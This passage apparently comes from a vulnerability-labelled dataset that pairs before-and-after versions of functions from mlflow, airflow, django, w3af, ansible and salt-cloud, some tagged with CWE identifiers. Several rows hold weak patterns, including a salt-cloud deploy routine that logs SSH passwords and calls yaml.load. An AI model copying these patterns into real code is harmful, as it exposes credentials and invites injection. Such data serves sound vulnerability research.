    tuned_estimator = parent_estimator.getEstimator()

    metrics_dict, _ = _get_param_search_metrics_and_best_index(parent_estimator, parent_model)
    for i, est_param in enumerate(estimator_param_maps):
        child_estimator = tuned_estimator.copy(est_param)
        tags_to_log = dict(child_tags) if child_tags else {}
        tags_to_log.update({MLFLOW_PARENT_RUN_ID: parent_run.info.run_id})
        tags_to_log.update(_get_estimator_info_tags(child_estimator))

        child_run = client.create_run(
            experiment_id=parent_run.info.experiment_id,
            start_time=child_run_start_time,
            tags=tags_to_log,
        )

        params_to_log = _get_instance_param_map(
            child_estimator, parent_estimator._autologging_metadata.uid_to_indexed_name_map
        )
        param_batches_to_log = _chunk_dict(params_to_log, chunk_size=MAX_PARAMS_TAGS_PER_BATCH)
        metrics_to_log = {k: v[i] for k, v in metrics_dict.items()}
        for params_batch, metrics_batch in zip_longest(
            param_batches_to_log, [metrics_to_log], fillvalue={}
        ):
            # Trim any parameter keys / values and metric keys that exceed the limits
            # imposed by corresponding MLflow Tracking APIs (e.g., LogParam, LogMetric)
            truncated_params_batch = _truncate_dict(
                params_batch, MAX_ENTITY_KEY_LENGTH, MAX_PARAM_VAL_LENGTH
            )
            truncated_metrics_batch = _truncate_dict(
                metrics_batch, max_key_length=MAX_ENTITY_KEY_LENGTH
            )
            client.log_batch(
                run_id=child_run.info.run_id,
                params=[
                    Param(str(key), str(value)) for key, value in truncated_params_batch.items()
                ],
                metrics=[
                    Metric(key=str(key), value=value, timestamp=child_run_end_time, step=0)
                    for key, value in truncated_metrics_batch.items()
                ],
            )
        client.set_terminated(run_id=child_run.info.run_id, end_time=child_run_end_time)",,mlflow/mlflow,c351e12123d6072ed1175d822af9eaa1aa0f667c,"def _create_child_runs_for_parameter_search(parent_estimator, parent_model, parent_run, child_tags):
    from itertools import zip_longest

    client = MlflowClient()
    # Use the start time of the parent parameter search run as a rough estimate for the
    # start time of child runs, since we cannot precisely determine when each point
    # in the parameter search space was explored
    child_run_start_time = parent_run.info.start_time
    child_run_end_time = get_current_time_millis()

    estimator_param_maps = parent_estimator.getEstimatorParamMaps()
    tuned_estimator = parent_estimator.getEstimator()

    metrics_dict, _ = _get_param_search_metrics_and_best_index(parent_estimator, parent_model)
    for i in range(len(estimator_param_maps)):
        child_estimator = tuned_estimator.copy(estimator_param_maps[i])
        tags_to_log = dict(child_tags) if child_tags else {}
        tags_to_log.update({MLFLOW_PARENT_RUN_ID: parent_run.info.run_id})
        tags_to_log.update(_get_estimator_info_tags(child_estimator))

        child_run = client.create_run(
            experiment_id=parent_run.info.experiment_id,
            start_time=child_run_start_time,
            tags=tags_to_log,
        )

        params_to_log = _get_instance_param_map(
            child_estimator, parent_estimator._autologging_metadata.uid_to_indexed_name_map
        )
        param_batches_to_log = _chunk_dict(params_to_log, chunk_size=MAX_PARAMS_TAGS_PER_BATCH)
        metrics_to_log = {k: v[i] for k, v in metrics_dict.items()}
        for params_batch, metrics_batch in zip_longest(
            param_batches_to_log, [metrics_to_log], fillvalue={}
        ):
            # Trim any parameter keys / values and metric keys that exceed the limits
            # imposed by corresponding MLflow Tracking APIs (e.g., LogParam, LogMetric)
            truncated_params_batch = _truncate_dict(
                params_batch, MAX_ENTITY_KEY_LENGTH, MAX_PARAM_VAL_LENGTH
            )
            truncated_metrics_batch = _truncate_dict(
                metrics_batch, max_key_length=MAX_ENTITY_KEY_LENGTH
            )
            client.log_batch(
                run_id=child_run.info.run_id,
                params=[
                    Param(str(key), str(value)) for key, value in truncated_params_batch.items()
                ],
                metrics=[
                    Metric(key=str(key), value=value, timestamp=child_run_end_time, step=0)
                    for key, value in truncated_metrics_batch.items()
                ],
            )
        client.set_terminated(run_id=child_run.info.run_id, end_time=child_run_end_time)"
,UNKNOWN,UNKNOWN,providers/tests/fab/auth_manager/api_endpoints/test_backfill_endpoint.py,1,"def test_create_backfill(self, session, dag_maker):
        with dag_maker(session=session, dag_id=""TEST_DAG_1"", schedule=""0 * * * *"") as dag:
            EmptyOperator(task_id=""mytask"")
        session.add(SerializedDagModel(dag))
        session.commit()
        session.query(DagModel).all()
        from_date = pendulum.parse(""2024-01-01"")
        from_date_iso = from_date.isoformat()
        to_date = pendulum.parse(""2024-02-01"")
        to_date_iso = to_date.isoformat()
        max_active_runs = 5
        data = {
            ""dag_id"": dag.dag_id,
            ""from_date"": f""{from_date_iso}"",
            ""to_date"": f""{to_date_iso}"",
            ""max_active_runs"": max_active_runs,
            ""reverse"": False,
        }
        kwargs = {}
        kwargs.update(environ_overrides={""REMOTE_USER"": ""test_granular_permissions""})

        response = self.client.post(
            ""/api/v1/backfills"",
            **kwargs,
            json=data,
        )
        assert response.status_code == 200
        assert response.json == {
            ""completed_at"": mock.ANY,
            ""created_at"": mock.ANY,
            ""dag_id"": ""TEST_DAG_1"",
            ""dag_run_conf"": None,
            ""from_date"": from_date_iso,
            ""id"": mock.ANY,
            ""is_paused"": False,
            ""reprocess_behavior"": ""none"",
            ""max_active_runs"": 5,
            ""to_date"": to_date_iso,
            ""updated_at"": mock.ANY,
        }",CWE-703,apache/airflow,dc91d07e298e5347ad77af25eb3533a13c71a883,"def test_create_backfill(self, session, dag_maker):
        with dag_maker(session=session, dag_id=""TEST_DAG_1"", schedule=""0 * * * *"") as dag:
            EmptyOperator(task_id=""mytask"")
        session.add(SerializedDagModel(dag))
        session.commit()
        session.query(DagModel).all()
        from_date = pendulum.parse(""2024-01-01"")
        from_date_iso = from_date.isoformat()
        to_date = pendulum.parse(""2024-02-01"")
        to_date_iso = to_date.isoformat()
        max_active_runs = 5
        data = {
            ""dag_id"": dag.dag_id,
            ""from_date"": f""{from_date_iso}"",
            ""to_date"": f""{to_date_iso}"",
            ""max_active_runs"": max_active_runs,
            ""reverse"": False,
        }
        kwargs = {}
        kwargs.update(environ_overrides={""REMOTE_USER"": ""test_granular_permissions""})

        response = self.client.post(
            ""/api/v1/backfills"",
            **kwargs,
            json=data,
        )
        assert response.status_code == 200
        assert response.json == {
            ""completed_at"": mock.ANY,
            ""created_at"": mock.ANY,
            ""dag_id"": ""TEST_DAG_1"",
            ""dag_run_conf"": None,
            ""from_date"": from_date_iso,
            ""id"": mock.ANY,
            ""is_paused"": False,
            ""max_active_runs"": 5,
            ""to_date"": to_date_iso,
            ""updated_at"": mock.ANY,
        }"
,UNKNOWN,UNKNOWN,tests/tracking/test_rest_tracking.py,1,"def test_log_metric_validation(mlflow_client):
    experiment_id = mlflow_client.create_experiment(""metrics validation"")
    created_run = mlflow_client.create_run(experiment_id)
    run_id = created_run.info.run_id

    def assert_bad_request(payload, expected_error_message):
        response = _send_rest_tracking_post_request(
            mlflow_client.tracking_uri,
            ""/api/2.0/mlflow/runs/log-metric"",
            payload,
        )
        assert response.status_code == 400
        assert expected_error_message in response.text

    assert_bad_request(
        {
            ""run_id"": 31,
            ""key"": ""metric"",
            ""value"": 41,
            ""timestamp"": 59,
            ""step"": 26,
        },
        ""Invalid value 31 for parameter 'run_id' supplied"",
    )
    assert_bad_request(
        {
            ""run_id"": run_id,
            ""key"": 31,
            ""value"": 41,
            ""timestamp"": 59,
            ""step"": 26,
        },
        ""Invalid value 31 for parameter 'key' supplied"",
    )
    assert_bad_request(
        {
            ""run_id"": run_id,
            ""key"": ""foo"",
            ""value"": 31,
            ""timestamp"": 59,
            ""step"": ""foo"",
        },
        ""Invalid value \\\""foo\\\"" for parameter 'step' supplied"",
    )
    assert_bad_request(
        {
            ""run_id"": run_id,
            ""key"": ""foo"",
            ""value"": 31,
            ""timestamp"": ""foo"",
            ""step"": 41,
        },
        ""Invalid value \\\""foo\\\"" for parameter 'timestamp' supplied"",
    )
    assert_bad_request(
        {
            ""run_id"": None,
            ""key"": ""foo"",
            ""value"": 31,
            ""timestamp"": 59,
            ""step"": 41,
        },
        ""Missing value for required parameter 'run_id'"",
    )
    assert_bad_request(
        {
            ""run_id"": run_id,
            # Missing key
            ""value"": 31,
            ""timestamp"": 59,
            ""step"": 41,
        },
        ""Missing value for required parameter 'key'"",
    )
    assert_bad_request(
        {
            ""run_id"": run_id,
            ""key"": None,
            ""value"": 31,
            ""timestamp"": 59,
            ""step"": 41,
        },
        ""Missing value for required parameter 'key'"",
    )",CWE-703,mlflow/mlflow,327e53c3c78e1f6ee9fcb2aa781701c42bf25454,"def test_log_metric_validation(mlflow_client):
    experiment_id = mlflow_client.create_experiment(""metrics validation"")
    created_run = mlflow_client.create_run(experiment_id)
    run_id = created_run.info.run_id

    def assert_bad_request(payload, expected_error_message):
        response = _send_rest_tracking_post_request(
            mlflow_client.tracking_uri,
            ""/api/2.0/mlflow/runs/log-metric"",
            payload,
        )
        assert response.status_code == 400
        assert expected_error_message in response.text

    assert_bad_request(
        {
            ""run_id"": 31,
            ""key"": ""metric"",
            ""value"": 41,
            ""timestamp"": 59,
            ""step"": 26,
        },
        ""Invalid value 31 for parameter 'run_id' supplied"",
    )
    assert_bad_request(
        {
            ""run_id"": run_id,
            ""key"": 31,
            ""value"": 41,
            ""timestamp"": 59,
            ""step"": 26,
        },
        ""Invalid value 31 for parameter 'key' supplied"",
    )
    assert_bad_request(
        {
            ""run_id"": run_id,
            ""key"": ""foo"",
            ""value"": 31,
            ""timestamp"": 59,
            ""step"": ""foo"",
        },
        ""Invalid value \\\""foo\\\"" for parameter 'step' supplied"",
    )
    assert_bad_request(
        {
            ""run_id"": run_id,
            ""key"": ""foo"",
            ""value"": 31,
            ""timestamp"": ""foo"",
            ""step"": 41,
        },
        ""Invalid value \\\""foo\\\"" for parameter 'timestamp' supplied"",
    )
    assert_bad_request(
        {
            ""run_id"": None,
            ""key"": ""foo"",
            ""value"": 31,
            ""timestamp"": 59,
            ""step"": 41,
        },
        ""Missing value for required parameter 'run_id'"",
    )
    assert_bad_request(
        {
            ""run_id"": run_id,
            # Missing key
            ""value"": 31,
            ""timestamp"": 59,
            ""step"": 41,
        },
        ""Missing value for required parameter 'key'"",
    )
    assert_bad_request(
        {
            ""run_id"": run_id,
            ""key"": None,
            ""value"": 31,
            ""timestamp"": 59,
            ""step"": 41,
        },
        ""Missing value for required parameter 'key'"",
    )"
,UNKNOWN,UNKNOWN,tests/tracking/test_client.py,1,"def test_create_model_version_run_link_in_notebook_with_default_profile(
    mock_registry_store, mock_databricks_tracking_store
):
    hostname = ""https://workspace.databricks.com/""
    workspace_id = ""10002""
    workspace_url = _construct_databricks_run_url(
        hostname,
        mock_databricks_tracking_store.experiment_id,
        mock_databricks_tracking_store.run_id,
        workspace_id,
    )

    with mock.patch(
        ""mlflow.utils.databricks_utils.is_in_databricks_notebook"", return_value=True
    ), mock.patch(
        ""mlflow.utils.databricks_utils.get_workspace_info_from_dbutils"",
        return_value=(hostname, workspace_id),
    ):
        client = MlflowClient(tracking_uri=""databricks"", registry_uri=""otherplace"")
        mock_registry_store.create_model_version.return_value = ModelVersion(
            ""name"",
            1,
            0,
            1,
            source=""source"",
            run_id=mock_databricks_tracking_store.run_id,
            run_link=workspace_url,
        )
        model_version = client.create_model_version(""name"", ""source"", ""runid"")
        assert model_version.run_link == workspace_url
        # verify that the client generated the right URL
        mock_registry_store.create_model_version.assert_called_once_with(
            ""name"", ""source"", ""runid"", [], workspace_url, None
        )",CWE-703,mlflow/mlflow,8f192470d6425cce8fbe3287e452c795e3cbfa2f,"def test_create_model_version_run_link_in_notebook_with_default_profile(
    mock_registry_store, mock_databricks_tracking_store
):
    hostname = ""https://workspace.databricks.com/""
    workspace_id = ""10002""
    workspace_url = _construct_databricks_run_url(
        hostname,
        mock_databricks_tracking_store.experiment_id,
        mock_databricks_tracking_store.run_id,
        workspace_id,
    )

    with mock.patch(
        ""mlflow.utils.databricks_utils.is_in_databricks_notebook"", return_value=True
    ), mock.patch(
        ""mlflow.utils.databricks_utils.get_workspace_info_from_dbutils"",
        return_value=(hostname, workspace_id),
    ):
        client = MlflowClient(tracking_uri=""databricks"", registry_uri=""otherplace"")
        mock_registry_store.create_model_version.return_value = ModelVersion(
            ""name"",
            1,
            0,
            1,
            source=""source"",
            run_id=mock_databricks_tracking_store.run_id,
            run_link=workspace_url,
        )
        model_version = client.create_model_version(""name"", ""source"", ""runid"")
        assert model_version.run_link == workspace_url
        # verify that the client generated the right URL
        mock_registry_store.create_model_version.assert_called_once_with(
            ""name"", ""source"", ""runid"", [], workspace_url, None
        )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/tests/audit/test_global_redirect.py,0,"def test_found_redirect(self):
        cfg = self._run_configs['cfg']
        self._scan(cfg['target'], cfg['plugins'])

        vulns = self.kb.getData('global_redirect', 'global_redirect')
        
        self.assertEquals(all(['Insecure redirection' == vuln.getName() for vuln in vulns ]) , True)

        # Verify the specifics about the vulnerabilities
        EXPECTED = [
            ('java.php', 'url'),
            ('meta.php', 'url'),
            ('302.php', 'url'),
            ('refresh-header.php', 'url'),
            ('302-filtered.php', 'url')
        ]

        found = [ (str(v.getURL()), v.getVar()) for v in vulns]
        expected = [ ((self.target_url + end), param) for (end, param) in EXPECTED ]
        
        self.assertEquals(
                set( found ),
                set( expected )
                )",,andresriancho/w3af,28b80fc1b0e67a02c9ce7a5619c0b702ddb97e0c,"def test_found_redirect(self):
        cfg = self._run_configs['cfg']
        self._scan(cfg['target'], cfg['plugins'])

        vulns = self.kb.getData('global_redirect', 'global_redirect')
        
        self.assertEquals(all(['Insecure redirection' == vuln.getName() for vuln in vulns ]) , True)

        # Verify the specifics about the vulnerabilities
        EXPECTED = [
            ('java.php', 'url'),
            ('meta.php', 'url'),
            ('302.php', 'url'),
        ]

        found = [ (str(v.getURL()), v.getVar()) for v in vulns]
        expected = [ ((self.target_url + end), param) for (end, param) in EXPECTED ]
        
        self.assertEquals(
                set( found ),
                set( expected )
                )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/executor/playbook_executor.py,0,"def run(self):

        '''
        Run the given playbook, based on the settings in the play which
        may limit the runs to serialized groups, etc.
        '''

        result = 0
        entrylist = []
        entry = {}
        try:
            for playbook_path in self._playbooks:
                pb = Playbook.load(playbook_path, variable_manager=self._variable_manager, loader=self._loader)
                self._inventory.set_playbook_basedir(os.path.realpath(os.path.dirname(playbook_path)))

                if self._tqm is None: # we are doing a listing
                    entry = {'playbook': playbook_path}
                    entry['plays'] = []
                else:
                    # make sure the tqm has callbacks loaded
                    self._tqm.load_callbacks()
                    self._tqm.send_callback('v2_playbook_on_start', pb)

                i = 1
                plays = pb.get_plays()
                display.vv(u'%d plays in %s' % (len(plays), to_unicode(playbook_path)))

                for play in plays:
                    if play._included_path is not None:
                        self._loader.set_basedir(play._included_path)
                    else:
                        self._loader.set_basedir(pb._basedir)

                    # clear any filters which may have been applied to the inventory
                    self._inventory.remove_restriction()

                    if play.vars_prompt:
                        for var in play.vars_prompt:
                            vname     = var['name']
                            prompt    = var.get(""prompt"", vname)
                            default   = var.get(""default"", None)
                            private   = var.get(""private"", True)
                            confirm   = var.get(""confirm"", False)
                            encrypt   = var.get(""encrypt"", None)
                            salt_size = var.get(""salt_size"", None)
                            salt      = var.get(""salt"", None)

                            if vname not in self._variable_manager.extra_vars:
                                if self._tqm:
                                    self._tqm.send_callback('v2_playbook_on_vars_prompt', vname, private, prompt, encrypt, confirm, salt_size, salt, default)
                                    play.vars[vname] = display.do_var_prompt(vname, private, prompt, encrypt, confirm, salt_size, salt, default)
                                else: # we are either in --list-<option> or syntax check
                                    play.vars[vname] = default

                    # Create a temporary copy of the play here, so we can run post_validate
                    # on it without the templating changes affecting the original object.
                    all_vars = self._variable_manager.get_vars(loader=self._loader, play=play)
                    templar = Templar(loader=self._loader, variables=all_vars)
                    new_play = play.copy()
                    new_play.post_validate(templar)

                    if self._options.syntax:
                        continue

                    if self._tqm is None:
                        # we are just doing a listing
                        entry['plays'].append(new_play)

                    else:
                        self._tqm._unreachable_hosts.update(self._unreachable_hosts)

                        previously_failed = len(self._tqm._failed_hosts)
                        previously_unreachable = len(self._tqm._unreachable_hosts)

                        break_play = False
                        # we are actually running plays
                        for batch in self._get_serialized_batches(new_play):
                            if len(batch) == 0:
                                self._tqm.send_callback('v2_playbook_on_play_start', new_play)
                                self._tqm.send_callback('v2_playbook_on_no_hosts_matched')
                                break

                            # restrict the inventory to the hosts in the serialized batch
                            self._inventory.restrict_to_hosts(batch)
                            # and run it...
                            result = self._tqm.run(play=play)

                            # break the play if the result equals the special return code
                            if result == self._tqm.RUN_FAILED_BREAK_PLAY:
                                result = self._tqm.RUN_FAILED_HOSTS
                                break_play = True

                            # check the number of failures here, to see if they're above the maximum
                            # failure percentage allowed, or if any errors are fatal. If either of those
                            # conditions are met, we break out, otherwise we only break out if the entire
                            # batch failed
                            failed_hosts_count = len(self._tqm._failed_hosts) + len(self._tqm._unreachable_hosts) - \
                                                 (previously_failed + previously_unreachable)

                            if len(batch) == failed_hosts_count:
                                break_play = True
                                break

                            # update the previous counts so they don't accumulate incorrectly
                            # over multiple serial batches
                            previously_failed += len(self._tqm._failed_hosts) - previously_failed
                            previously_unreachable += len(self._tqm._unreachable_hosts) - previously_unreachable

                            # save the unreachable hosts from this batch
                            self._unreachable_hosts.update(self._tqm._unreachable_hosts)

                        if break_play:
                            break

                    i = i + 1 # per play

                if entry:
                    entrylist.append(entry) # per playbook

                # send the stats callback for this playbook
                if self._tqm is not None:
                    if C.RETRY_FILES_ENABLED:
                        retries = set(self._tqm._failed_hosts.keys())
                        retries.update(self._tqm._unreachable_hosts.keys())
                        retries = sorted(retries)
                        if len(retries) > 0:
                            if C.RETRY_FILES_SAVE_PATH:
                                basedir = C.shell_expand(C.RETRY_FILES_SAVE_PATH)
                            elif playbook_path:
                                basedir = os.path.dirname(playbook_path)
                            else:
                                basedir = '~/'

                            (retry_name, _) = os.path.splitext(os.path.basename(playbook_path))
                            filename = os.path.join(basedir, ""%s.retry"" % retry_name)
                            if self._generate_retry_inventory(filename, retries):
                                display.display(""\tto retry, use: --limit @%s\n"" % filename)

                    self._tqm.send_callback('v2_playbook_on_stats', self._tqm._stats)

                # if the last result wasn't zero, break out of the playbook file name loop
                if result != 0:
                    break

            if entrylist:
                return entrylist

        finally:
            if self._tqm is not None:
                self._tqm.cleanup()
            if self._loader:
                self._loader.cleanup_all_tmp_files()

        if self._options.syntax:
            display.display(""No issues encountered"")
            return result

        return result",,ansible/ansible,f80c981ef6c315af78dc4d10413c730bef699491,"def run(self):

        '''
        Run the given playbook, based on the settings in the play which
        may limit the runs to serialized groups, etc.
        '''

        result = 0
        entrylist = []
        entry = {}
        try:
            for playbook_path in self._playbooks:
                pb = Playbook.load(playbook_path, variable_manager=self._variable_manager, loader=self._loader)
                self._inventory.set_playbook_basedir(os.path.realpath(os.path.dirname(playbook_path)))

                if self._tqm is None: # we are doing a listing
                    entry = {'playbook': playbook_path}
                    entry['plays'] = []
                else:
                    # make sure the tqm has callbacks loaded
                    self._tqm.load_callbacks()
                    self._tqm.send_callback('v2_playbook_on_start', pb)

                i = 1
                plays = pb.get_plays()
                display.vv(u'%d plays in %s' % (len(plays), to_unicode(playbook_path)))

                for play in plays:
                    if play._included_path is not None:
                        self._loader.set_basedir(play._included_path)
                    else:
                        self._loader.set_basedir(pb._basedir)

                    # clear any filters which may have been applied to the inventory
                    self._inventory.remove_restriction()

                    if play.vars_prompt:
                        for var in play.vars_prompt:
                            vname     = var['name']
                            prompt    = var.get(""prompt"", vname)
                            default   = var.get(""default"", None)
                            private   = var.get(""private"", True)
                            confirm   = var.get(""confirm"", False)
                            encrypt   = var.get(""encrypt"", None)
                            salt_size = var.get(""salt_size"", None)
                            salt      = var.get(""salt"", None)

                            if vname not in self._variable_manager.extra_vars:
                                if self._tqm:
                                    self._tqm.send_callback('v2_playbook_on_vars_prompt', vname, private, prompt, encrypt, confirm, salt_size, salt, default)
                                    play.vars[vname] = display.do_var_prompt(vname, private, prompt, encrypt, confirm, salt_size, salt, default)
                                else: # we are either in --list-<option> or syntax check
                                    play.vars[vname] = default

                    # Create a temporary copy of the play here, so we can run post_validate
                    # on it without the templating changes affecting the original object.
                    all_vars = self._variable_manager.get_vars(loader=self._loader, play=play)
                    templar = Templar(loader=self._loader, variables=all_vars)
                    new_play = play.copy()
                    new_play.post_validate(templar)

                    if self._options.syntax:
                        continue

                    if self._tqm is None:
                        # we are just doing a listing
                        entry['plays'].append(new_play)

                    else:
                        self._tqm._unreachable_hosts.update(self._unreachable_hosts)

                        previously_failed = len(self._tqm._failed_hosts)
                        previously_unreachable = len(self._tqm._unreachable_hosts)

                        break_play = False
                        # we are actually running plays
                        for batch in self._get_serialized_batches(new_play):
                            if len(batch) == 0:
                                self._tqm.send_callback('v2_playbook_on_play_start', new_play)
                                self._tqm.send_callback('v2_playbook_on_no_hosts_matched')
                                break

                            # restrict the inventory to the hosts in the serialized batch
                            self._inventory.restrict_to_hosts(batch)
                            # and run it...
                            result = self._tqm.run(play=play)

                            # break the play if the result equals the special return code
                            if result == self._tqm.RUN_FAILED_BREAK_PLAY:
                                result = self._tqm.RUN_FAILED_HOSTS
                                break_play = True

                            # check the number of failures here, to see if they're above the maximum
                            # failure percentage allowed, or if any errors are fatal. If either of those
                            # conditions are met, we break out, otherwise we only break out if the entire
                            # batch failed
                            failed_hosts_count = len(self._tqm._failed_hosts) + len(self._tqm._unreachable_hosts) - \
                                                 (previously_failed + previously_unreachable)
                            if new_play.max_fail_percentage is not None and \
                               int((new_play.max_fail_percentage)/100.0 * len(batch)) > int((len(batch) - failed_hosts_count) / len(batch) * 100.0):
                                break_play = True
                                break
                            elif len(batch) == failed_hosts_count:
                                break_play = True
                                break

                            # save the unreachable hosts from this batch
                            self._unreachable_hosts.update(self._tqm._unreachable_hosts)

                            # if the last result wasn't zero or 3 (some hosts were unreachable),
                            # break out of the serial batch loop
                            if result not in (self._tqm.RUN_OK, self._tqm.RUN_UNREACHABLE_HOSTS):
                                break

                        if break_play:
                            break

                    i = i + 1 # per play

                if entry:
                    entrylist.append(entry) # per playbook

                # send the stats callback for this playbook
                if self._tqm is not None:
                    if C.RETRY_FILES_ENABLED:
                        retries = set(self._tqm._failed_hosts.keys())
                        retries.update(self._tqm._unreachable_hosts.keys())
                        retries = sorted(retries)
                        if len(retries) > 0:
                            if C.RETRY_FILES_SAVE_PATH:
                                basedir = C.shell_expand(C.RETRY_FILES_SAVE_PATH)
                            elif playbook_path:
                                basedir = os.path.dirname(playbook_path)
                            else:
                                basedir = '~/'

                            (retry_name, _) = os.path.splitext(os.path.basename(playbook_path))
                            filename = os.path.join(basedir, ""%s.retry"" % retry_name)
                            if self._generate_retry_inventory(filename, retries):
                                display.display(""\tto retry, use: --limit @%s\n"" % filename)

                    self._tqm.send_callback('v2_playbook_on_stats', self._tqm._stats)

                # if the last result wasn't zero, break out of the playbook file name loop
                if result != 0:
                    break

            if entrylist:
                return entrylist

        finally:
            if self._tqm is not None:
                self._tqm.cleanup()
            if self._loader:
                self._loader.cleanup_all_tmp_files()

        if self._options.syntax:
            display.display(""No issues encountered"")
            return result

        return result"
,UNKNOWN,UNKNOWN,tests/test_client/tests.py,1,"def test_view_with_login(self):
        ""Request a page that is protected with @login_required""

        # Get the page without logging in. Should result in 302.
        response = self.client.get('/login_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/login_protected_view/')

        # Log in
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Request a page that requires a login
        response = self.client.get('/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')",CWE-259,django/django,21dd98a38660747c781802afca7ca02407964383,"def test_view_with_login(self):
        ""Request a page that is protected with @login_required""

        # Get the page without logging in. Should result in 302.
        response = self.client.get('/login_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/login_protected_view/')

        # Log in
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Request a page that requires a login
        response = self.client.get('/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')"
,UNKNOWN,UNKNOWN,saltcloud/utils/__init__.py,1,"def deploy_script(host, port=22, timeout=900, username='root',
                  password=None, key_filename=None, script=None,
                  deploy_command='/tmp/deploy.sh', sudo=False, tty=None,
                  name=None, pub_key=None, sock_dir=None, provider=None,
                  conf_file=None, start_action=None, make_master=False,
                  master_pub=None, master_pem=None, master_conf=None,
                  minion_pub=None, minion_pem=None, minion_conf=None,
                  keep_tmp=False, script_args=None, script_env=None,
                  ssh_timeout=15, make_syndic=False, make_minion=True,
                  display_ssh_output=True, preseed_minion_keys=None):
    '''
    Copy a deploy script to a remote server, execute it, and remove it
    '''
    if key_filename is not None and not os.path.isfile(key_filename):
        raise SaltCloudConfigError(
            'The defined key_filename {0!r} does not exist'.format(
                key_filename
            )
        )
    starttime = time.mktime(time.localtime())
    log.debug('Deploying {0} at {1}'.format(host, starttime))
    if wait_for_ssh(host=host, port=port, timeout=timeout):
        log.debug('SSH port {0} on {1} is available'.format(port, host))
        newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
        if wait_for_passwd(host, port=port, username=username,
                           password=password, key_filename=key_filename,
                           ssh_timeout=ssh_timeout,
                           display_ssh_output=display_ssh_output):
            log.debug(
                'Logging into {0}:{1} as {2}'.format(
                    host, port, username
                )
            )
            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            kwargs = {'hostname': host,
                      'port': port,
                      'username': username,
                      'timeout': ssh_timeout,
                      'display_ssh_output': display_ssh_output}
            if key_filename:
                log.debug('Using {0} as the key_filename'.format(key_filename))
                kwargs['key_filename'] = key_filename
            elif password:
                log.debug('Using {0} as the password'.format(password))
                kwargs['password'] = password

            #FIXME: this try-except doesn't make sense! Something is missing...
            try:
                log.debug('SSH connection to {0} successful'.format(host))
            except Exception as exc:
                log.error(
                    'There was an error in deploy_script: {0}'.format(exc)
                )

            if provider == 'ibmsce':
                subsys_command = (
                    'sed -i ""s/#Subsystem/Subsystem/"" '
                    '/etc/ssh/sshd_config'
                )
                root_cmd(subsys_command, tty, sudo, **kwargs)
                root_cmd('service sshd restart', tty, sudo, **kwargs)

            # Update hostname on the minion
            root_cmd('test `hostname` == {0} || hostname {0}'.format(name))

            # Minion configuration
            if minion_pem:
                scp_file('/tmp/minion.pem', minion_pem, kwargs)
                root_cmd('chmod 600 /tmp/minion.pem', tty, sudo, **kwargs)

            if minion_pub:
                scp_file('/tmp/minion.pub', minion_pub, kwargs)

            if minion_conf:
                if not isinstance(minion_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `minion_conf` parameter. '
                        'Loading YAML...'
                    )
                    minion_conf = yaml.load(minion_conf)
                minion_grains = minion_conf.pop('grains', {})
                if minion_grains:
                    scp_file(
                        '/tmp/grains',
                        salt_config_to_yaml(minion_grains),
                        kwargs
                    )
                scp_file(
                    '/tmp/minion',
                    salt_config_to_yaml(minion_conf),
                    kwargs
                )

            # Master configuration
            if master_pem:
                scp_file('/tmp/master.pem', master_pem, kwargs)
                root_cmd('chmod 600 /tmp/master.pem', tty, sudo, **kwargs)

            if master_pub:
                scp_file('/tmp/master.pub', master_pub, kwargs)

            if master_conf:
                if not isinstance(master_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `master_conf` parameter. '
                        'Loading from YAML ...'
                    )
                    master_conf = yaml.load(master_conf)

                scp_file(
                    '/tmp/master',
                    salt_config_to_yaml(master_conf),
                    kwargs
                )

            # XXX: We need to make these paths configurable
            preseed_minion_keys_tempdir = '/tmp/preseed-minion-keys'
            if preseed_minion_keys is not None:
                # Create remote temp dir
                root_cmd(
                    'mkdir ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                root_cmd(
                    'chmod 700 ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown {0} ""{1}""'.format(
                            kwargs['username'], preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

                # Copy pre-seed minion keys
                for minion_id, minion_key in preseed_minion_keys.iteritems():
                    rpath = os.path.join(
                        preseed_minion_keys_tempdir, minion_id
                    )
                    scp_file(rpath, minion_key, kwargs)

                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown -R root ""{0}""'.format(
                            preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

            # The actual deploy script
            if script:
                scp_file('/tmp/deploy.sh', script, kwargs)
                root_cmd('chmod +x /tmp/deploy.sh', tty, sudo, **kwargs)

            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            queue = None
            process = None
            # Consider this code experimental. It causes Salt Cloud to wait
            # for the minion to check in, and then fire a startup event.
            if start_action:
                queue = multiprocessing.Queue()
                process = multiprocessing.Process(
                    target=check_auth, kwargs=dict(
                        name=name, pub_key=pub_key, sock_dir=sock_dir,
                        timeout=newtimeout, queue=queue
                    )
                )
                log.debug('Starting new process to wait for salt-minion')
                process.start()

            # Run the deploy script
            if script:
                if 'bootstrap-salt' in script:
                    deploy_command += ' -c /tmp/'
                    if make_syndic is True:
                        deploy_command += ' -S'
                    if make_master is True:
                        deploy_command += ' -M'
                    if make_minion is False:
                        deploy_command += ' -N'
                    if preseed_minion_keys is not None:
                        deploy_command += ' -k {0}'.format(
                            preseed_minion_keys_tempdir
                        )
                if script_args:
                    deploy_command += ' {0}'.format(script_args)

                if keep_tmp:
                    # Pass the proper environment variable to the bootstrap
                    # script to keep temporary files around
                    if not script_env:
